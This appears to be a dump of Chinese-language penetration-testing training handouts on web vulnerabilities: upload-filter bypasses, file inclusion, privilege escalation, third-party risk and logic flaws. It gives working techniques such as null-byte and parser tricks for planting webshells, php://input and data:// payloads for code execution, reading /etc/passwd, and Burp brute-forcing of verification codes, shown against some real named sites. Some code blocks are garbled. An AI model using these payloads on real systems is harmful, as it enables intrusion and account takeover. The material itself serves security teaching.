149 | print_r($_FILES);
150 | echo "";
151 | if(extname(@$_FILES['userfile']['name']) != 'gif'){
152 | echo "对不起,我们只允许上传GIF格式的图片!!";
153 | exit;
154 | }
155 | $uploaddir='upfile/';
156 | $PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
157 | if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
158 | echo "上传成功!";
159 | else
160 | echo "上传失败!";
161 | ```
162 |
163 | 我们看到之前的文件类型校验变成了后缀名校验。那么如何绕过呢?其实,很多服务器都可以使用 00 截断来绕过。原理是这样,操作系统不允许文件中存在空字符(`'\0'`),所以保存文件时会发生截断,只保留空字符前面的东西作为文件名。但是后端程序中是可以处理空字符的。例如,我们如果把文件名改成`1.php\0.jpg`,那么在程序中,它的扩展名为`jpg`,但是保存之后,文件名为`1.php`,从而达到绕过的目的。
164 |
165 | Burp 的实际操作实际上非常简单。我们点击`Intercept is on`,关闭拦截模式,然后提交文件后,点击`Proxy`选项卡,可以找到之前的请求:
166 |
167 | 
168 |
169 | 然后我们右键点击该请求,然后点击`Send to Repeater`:
170 |
171 | 
172 |
173 | 可以在 Repeater 中找到我们的请求。
174 |
175 | 
176 |
177 | 我们在上图的`1.php`后面添加`.gif`,然后点击上面的`hex`选项卡。找到刚刚添加的`.gif`。
178 |
179 | 
180 |
181 | 鼠标拖动出来的区域就是`.gif`,最前面那个`.`的十六进制是`2e`,我们在它上面点击右键。
182 |
183 | 
184 |
185 | 我们点击`insert byte`,之后`2e`的格子之前就会出现一个`00`的格子。
186 |
187 | 
188 |
189 | 这样就满足了我们的要求,我们可以点击上面的`go`来发送请求。这个技巧并不对所有服务器都管用,但是值得一试。
190 |
191 | ## 前端 JS 验证绕过
192 |
193 | 如果`upfile.php`变成了这样:
194 |
195 | ```php
196 |
201 |
213 | ";
225 | print_r($_FILES);
226 | echo "";
227 | $uploaddir='upfile/';
228 | $PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
229 | if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
230 | echo "上传成功!";
231 | else
232 | echo "上传失败!";
233 | ```
234 |
235 | 我们可以看到,验证的代码移到了前端,之前我们说过,前端的一切东西都是不安全的,可以绕过。我们只需要首先上传一张正常图片,拿 Burp 抓到请求包,之后就跟“任意文件上传”的原理一样了,想怎么改就怎么改。
236 |
237 | 这里面要注意,如果你在前端看到了文件校验,那么程序员很可能由于偷懒而没有在后端添加校验。这是一个非常显眼的漏洞标志。
238 |
239 | ## Nginx 解析漏洞
240 |
241 | 如果服务器是 Nginx,我们可以直接上传图片格式,利用解析漏洞拿 Webshell。漏洞成因是,由于 Nginx 部分版本程序自身的漏洞,导致可以解析并执行非脚本文件。
242 |
243 | 假设存在漏洞的站点上有一张图片,URL 地址为:
244 |
245 | ```
246 | www.xxx.com/logo.jpg
247 | ```
248 |
249 | 我们正常访问时,Nginx 会把它当做非脚本,直接读取并传给客户端。但是如果我们这样访问:
250 |
251 | ```
252 | www.xxx.com/logo.jpg/a.php
253 | ```
254 |
255 | 他就会把`logo.jpg`当做 PHP 文件来执行。或者是
256 |
257 | ```
258 | www.xxx.com/logo.jpg%00.php
259 | ```
260 |
261 | 也会导致图片执行,这个是 7 月中旬爆出的解析漏洞。
262 |
263 | 要利用这个漏洞,我们可以随便找一张图片,在里面插入一句话:
264 |
265 | 
266 |
267 | 我们将其上传之后,访问图片的 URL,确认上传成功。
268 |
269 | 
270 |
271 | 然后我们利用该解析漏洞构造 URL,发现也能够成功访问,也能拿菜刀来连接。
272 |
273 | 
274 |
275 | 
276 |
277 | ## IIS 解析漏洞
278 |
279 | IIS 5.x/6.0 主要存在两个解析漏洞,第一个是目录解析:
280 |
281 | ```
282 | /a.asp/b.jpg
283 | ```
284 |
285 | 其中`a.asp`是目录,`b.jpg`是真实存在的文件,那么`b.jpg`会当做`asp`文件来执行。这个漏洞需要我们能够创建目录。
286 |
287 | 第二个是文件解析,也就是分号截断:
288 |
289 | ```
290 | a.asp;.jpg
291 | ```
292 |
293 | 这个文件的扩展名在上传时是`jpg`,但是上传之后,IIS 会把它当做`asp`文件来解析。
294 |
295 | 另外,在IIS 中,可执行脚本的扩展名除了`asp`之外,还有`asa`、`cdx`、`cer`。许多网站往往就过滤不全,一定要重视!!
296 |
297 | ## Apache 解析漏洞
298 |
299 | Apache 的解析漏洞比较有意思,它从右到左解析扩展名,如果碰到不认识的扩展名,则继续往下解析。比如我们上传`a.php.owf.rar`,它按照`rar owf php`的顺序解析扩展名,但是他不认识后面两个,所以只能将其解析为`php`,但在程序中,文件的扩展名一直是`rar`。
300 |
301 | 这里的关键在于,如果 Apache 不认识某个扩展名,但是程序中没有过滤(比如`rar`),我们就可以将`1.php`改成`1.php.rar`,上传之后直接访问它。因此,我们需要对照程序中允许的扩展名,以及 Apache 不认识的扩展名,一个一个尝试。新的扩展名会越来越多,程序由于自身需要会对其放行,但是只要 Apache 不改变其解析规则,这个漏洞就会继续生效。
302 |
303 | ## 参考
304 |
305 | + [文件解析漏洞总结](http://blog.csdn.net/wizardforcel/article/details/50695896)
306 |
307 | + [新手指南:DVWA-1.9全级别教程之File Upload](http://www.freebuf.com/articles/web/119467.html)
308 |
--------------------------------------------------------------------------------
/漏洞篇 文件包含.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 漏洞篇 文件包含
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 原理
10 |
11 | 文件包含就是将一个文件包含到自己的文件中执行。它可分为本地包含和远程包含,本地包含即包含本地磁盘上的文件,文件名称是相对路径或绝对路径,远程包含即包含互联网上的文件,文件名称是 URL。
12 |
13 | ## 本地包含
14 |
15 | 比如我们有一个`test.txt`文件,仅仅调用`phpinfo`来测试:
16 |
17 | ```php
18 |
19 | ```
20 |
21 | 然后我们在相同目录下放置一个`fileinclude.php`,如下:
22 |
23 | ```php
24 | File:".$file."
Result:";
28 | include $file;
29 | }
30 | ```
31 |
32 | 第一行代码获取 URL 参数`file`的内容。2 ~ 4 行首先判断`$file`是否为空,若不为空,输出其内容,并将其作为文件名称包含。
33 |
34 | 我们将其部署在`localhost`下,之后访问`http://localhost/fileinclude.php?file=test.txt`,会看到`phpinfo`的输出。
35 |
36 | 
37 |
38 | 我这里之所以用`txt`文件,就是想说明这个漏洞是无视扩展名的。跟文件上传漏洞不一样,文件上传漏洞中如果我们上传的文件不是`.php`就执行不了(当然也有一些绕过手段),但是文件包含漏洞中的扩展名是任意的,这里我们上传了`.txt`,证实有效,那么这个`.jpg`也是有效的。
39 |
40 | 要注意,如果被包含的文件里面没有 PHP 标签,那么就当成 HTML 内容如实显示出来。就比如我们放入之前的`top100.txt`:
41 |
42 | 
43 |
44 | ## 远程包含
45 |
46 | 为了演示远程包含,我们需要将 PHP 配置文件中的`allow_url_include`设置为`on`,之后重启 PHP。PHP 配置文件的位置可以在`phpinfo`的输出中寻找,我们搜索`ini`即可:
47 |
48 | 
49 |
50 | 我这里是`C:\php-5.5.10\php.ini`,你那里可能有些差别。我们打开它,搜索`allow_url_include`,会看到下面这些行,如果是`Off`把它改成`On`。
51 |
52 | ```
53 | ; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
54 | ; http://php.net/allow-url-include
55 | allow_url_include = On
56 | ```
57 |
58 | 我们需要将`file`参数改为`http://localhost/text.txt`,可以看到相同结果。
59 |
60 | ## 技巧
61 |
62 | ### 00 截断
63 |
64 | 有些程序会给被包含内容加一些后缀,比如如果`fileinclude.php`是这样。
65 |
66 | ```php
67 | File:".$file."
Result:";
72 | include $file;
73 | }
74 | ```
75 |
76 | 它后面加了个`.php`,也就是说,如果我们传入`file=test`则是正常的,传入`file=test.txt`,或变成`test.txt.php`,从而包含失败。那么我们应该怎么办呢?
77 |
78 | 如果 PHP 版本小于 5.3,并且`magic_quotes_gpc`已取消,我们就可以使用`%00`来截断。我们传入`file=test.txt%00`,就可以实现包含。
79 |
80 | ### 路径遍历
81 |
82 | + `./`(或省略):当前目录
83 | + `../`:上级目录
84 | + `/`:根目录(Windows 中为当前盘内的根目录)
85 | + `~/`:用户的主目录
86 |
87 | 例如,在 Linux 下,我们就可以使用`file=/etc/passwd`来读取系统密码。
88 |
89 | 这里是一些常见的日志文件位置:
90 |
91 | + apache+Linux日志默认路径
92 | + `/etc/httpd/logs/access.log`
93 | + `/var/log/httpd/access.log`
94 | + apache+win2003日志默认路径
95 | + `D:\xampp\apache\logs\access.log`
96 | + `D:\xampp\apache\logs\error.log`
97 | + IIS6.0+win2003默认日志文件
98 | + `C:\WINDOWS\system32\Lognames`
99 | + IIS7.0+win2003 默认日志文件
100 | + `%SystemDrive%\inetpub\logs\Lognames`
101 | + nginx 日志文件
102 | + `<安装目录>/logs`
103 | + 如果安装目录为`/usr/local/nginx`,则为`/usr/local/nginx/logs`
104 | + apache+linux 默认配置文件
105 | + `/etc/httpd/conf/httpd.conf`
106 | + `/etc/init.d/httpd`
107 | + IIS6.0+win2003 配置文件
108 | + `C:/Windows/system32/inetsrv/metabase.xml`
109 | + IIS7.0+WIN 配置文件
110 | + `C:\Windows\System32\inetsrv\config\applicationHost.config`
111 |
112 | ### PHP 伪协议
113 |
114 | 允许远程包含的情况下,我们可以使用`php://`伪协议,比如`php://filter/resource=test.txt`可以读取相同文件。
115 |
116 | 我们还可以加一个过滤器让它显示为 BASE64 编码格式,`php://filter/read=convert.base64-encode/resource=test.txt`。如果我们要获取的文件里面有不可打印的字符,或者我们想要获取代码的内容,可以用这种方式来获取,之后解码即可。
117 |
118 | 
119 |
120 | `php://input`可以读取原始的 HTTP 正文内容。如果我们将`file`设置为`php://input`,并且在 HTTP 正文中传入 PHP 代码,例如``,即可执行代码。
121 |
122 | 
123 |
124 | ### Data URI
125 |
126 | Data URI 的格式是`data://text/plain;base64,`,同样需要远程包含。我们首先把一句话用 base64 编码,得到`PD9waHAgcGhwaW5mbygpOz8+`,然后将`file`设置为`data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b`(注意URL编码),即可执行代码。
127 |
128 | 
129 |
130 | ## 如何挖掘
131 |
132 | 首先对 URL 进行分析,看看是否和文件相关,比如`www.test.com/xxx.php?file=yyy`。带有文件相关的敏感名称都可以进行挖掘。
133 |
134 | ## 利用
135 |
136 | 当我们发现了本地包含漏洞时,首先寻找上传点,比如用户头像上传功能。然后我们可以构造一个纯文本文件,内容为``,并将其命名为`xxx.jpg`。
137 |
138 | 之后我们就可以把`xxx.jpg`上传上去,并通过应用得到它的位置,假设是`/upload/xxx.jpg`,然后我们就可以把`file`参数的值改为它。以前面的代码为例,URL 是`http://localhost/fileinclude.php?file=/upload/xxx.jpg`。
139 |
140 | 如果我们把`xxx.jpg`的内容改为菜刀的一句话,那就可以用菜刀连接。
141 |
142 | 
143 |
144 | 
145 |
146 | 再说一下远程包含,远程包含的条件比较苛刻,目标网站需要把`allow_url_open`给打开。所以有本地包含不一定有远程包含,有远程包含一定就有本地包含。但是,远程包含的利用相对简单,只要将代码上传到自己博客,或者任何能通过 URL 访问到的地方就可以了。后续步骤是一样的。
147 |
148 | ## 附录
149 |
150 | + [新手指南:DVWA-1.9全级别教程之File Inclusion](http://www.freebuf.com/articles/web/119150.html)
151 |
152 | + [PHP 伪协议](http://php.net/manual/zh/wrappers.php.php)
153 |
--------------------------------------------------------------------------------
/漏洞篇 第三方风险.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 漏洞篇 第三方风险
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 域名商
10 |
11 | 域名商就是提供域名购买的站点。我们可以通过站长工具的[ WHOIS 查询](http://whois.chinaz.com/)来查询域名商,比如这里我们查询`www.hi-ourlife.com`的域名商:
12 |
13 | 
14 |
15 | 我们可以得知,该域名是在万网注册的。
16 |
17 | 域名商存在一些安全隐患,比如域名商网站包含一套用户系统,其找回密码功能可能存在任意密码重置漏洞(见“逻辑漏洞”一节)。找回密码之后,恶意用户就可以登录并劫持账户上的所有域名。
18 |
19 | 再者,域名商站点中包含用于管理域名的后台页面。许多后台把被管理的域名放在参数中传入,又没有对用户进行校验,导致可以越权访问其它域名的后台。比如前段时间的商务中国后台越权访问。
20 |
21 | 首先打开自己的解析管理页面:
22 |
23 | 
24 |
25 | 用 Burpsuite 抓包,发现“domainName”参数可控,修改为其它站点(比如商务中国自己的站点):
26 |
27 | 
28 |
29 | 即可查看或修改商务中国的解析记录:
30 |
31 | 
32 |
33 | ## IDC
34 |
35 | IDC 的通俗含义是主机商,也就是卖服务器的商家。现在许多 IDC 同时也卖域名。IDC 的漏洞和域名商类似,也可能存在任意密码重置或者越权漏洞。另外,对于主机来说,存在一些特殊的漏洞。许多主机商在主机的初始设置中使用弱密码,比如`admin:123456`之类的。
36 |
37 | ## 外源 JS
38 |
39 | 现在的 Web 应用或多或少会使用一些外源的 JS,但这里面可能存在安全隐患。如果你自己编写了一个 JS 文件,提供了一些功能,并且把它放到了 CDN 上给别人用,你就可以修改它的内容,所有使用它的站点都会受到影响。比如,你可以插入一个`location.href`的赋值来劫持站点,或者插入 XSS 平台的 Payload 来获取用户 Cookie,再或者插入一个对资源的访问来 DDoS 该站点。这种情况下,你可以让这些站点来帮你执行任何代码。
40 |
41 | ## 总结
42 |
43 | 建议大家建立站点的时候一定要选正规可靠的域名商和 IDC。引用 JS 文件时,如果对方是不可靠的站点,请用浏览器访问它,并把它保存下来,存到你自己的 CDN 中。
44 |
--------------------------------------------------------------------------------
/漏洞篇 越权.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 漏洞篇 越权
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | 越权漏洞是 Web 应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是开发人员在对数据进行增、删、改、查时对客户端请求的数据过于信任而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。
10 |
11 | 
12 |
13 | ## 分类
14 |
15 | + 水平越权:权限不变,身份改变
16 | + 垂直越权:身份不变,权限改变
17 |
18 | ## 信息遍历
19 |
20 | ```php
21 |
48 |
53 |
110 | function chkcookies()
111 | {
112 | var NameOfCookie="name";
113 | var c = document.cookie.indexOf(NameOfCookie+"=");
114 | if (c != -1)
115 | {
116 | return true;
117 | alert("登录成功");
118 | var str_html="欢迎登录本系统
";
119 | document.write(str_html);
120 | }
121 | else
122 | {
123 | alert("请不要非法访问");
124 | location.href="past-js.php";
125 | }
126 | return false;
127 | }
128 | chkcookies();
129 |
130 | ```
131 |
132 | 那我们就不必改什么 Cookie了,直接访问服务器拿到纯文本,之后不解释 JS 就可以了。
--------------------------------------------------------------------------------
/漏洞篇 逻辑漏洞.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 漏洞篇 逻辑漏洞
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 任意密码找回
10 |
11 | 这是补天平台上的一个案例:
12 |
13 | http://www.118114.cn/reg.jsp
14 |
15 | 首先注册一个账号,然后找回。
16 |
17 | 
18 |
19 | 我们收到的验证码是六位数。如果网站没有设置频率限制,或者最大尝试次数限制的话,那我们自然就会想到可以爆破它。
20 |
21 | 
22 |
23 | 然后抓提交手机验证码的封包,我们可以看到没有任何图片验证码:
24 |
25 | 
26 |
27 | 发送到 Burp 的 Intruder:
28 |
29 | 
30 |
31 | 只给`checkPhoneCode`添加标志,然后将字典类型设置为数字,范围为`000000 ~ 999999`。然后爆破,结束后我们发现了一个与众不同的封包。
32 |
33 | 
34 |
35 | 将里面的验证码提交之后便可重置密码。
36 |
37 | 
38 |
39 | ## 任意手机号注册
40 |
41 | 这是某个网站的注册页面:
42 |
43 | 
44 |
45 | 我们模拟注册一下,发现手机验证码是四位:
46 |
47 | 
48 |
49 |
50 | 然后抓注册的封包:
51 |
52 | 
53 |
54 | 然后将字典设置为四位数字 0000 ~ 9999,进行爆破:
55 |
56 | 
57 |
58 | Get it!
59 |
60 | ## 任意邮箱激活
61 |
62 | 目标是`www.vobao.com`。
63 |
64 | 首先注册,然后直接退出找回,我们看到它是邮箱验证。
65 |
66 | 
67 |
68 | 然后查看验证邮件:
69 |
70 | 
71 |
72 | 我们发现其中有一个`vstr`,它跟找回密码页面中的某个 URL 是一样的,也就是一个标志。
73 |
74 | 
75 |
76 | 那么`vud`就应该起到类似验证码的作用。如果我们不填写`vud`直接访问,显示无效。那么就能确定它是验证码了。
77 |
78 | 
79 |
80 | 这个`vud`看起来像是个md5,但是实际上是随机码。那么我们尝试拿另一个邮箱注册找回:
81 |
82 | 
83 |
84 | 可以看到`vstr`是不一样的,`vud`当然也不一样。但是如果我们邮箱2的`vud`拼接到邮箱1的`vstr`上呢?由于邮箱1的`vstr`是已知的,即使我们访问不了邮箱1,也可以通过找回密码页面的 URL 来获得,那么我们就可以构造出:
85 |
86 | 
87 |
88 | 提交后就成功了。
89 |
90 | 
91 |
92 | 假设邮箱1是别人的邮箱,我们不能访问其内容,但我们能够控制邮箱2,那我们就能拿邮箱2来重置邮箱1的账户。可以看到,这个漏洞的主要成因就是未对不同用户的验证码进行区分。其中`vstr`起到用户标志的作用,`vud`起到邮箱验证码的作用。
93 |
--------------------------------------------------------------------------------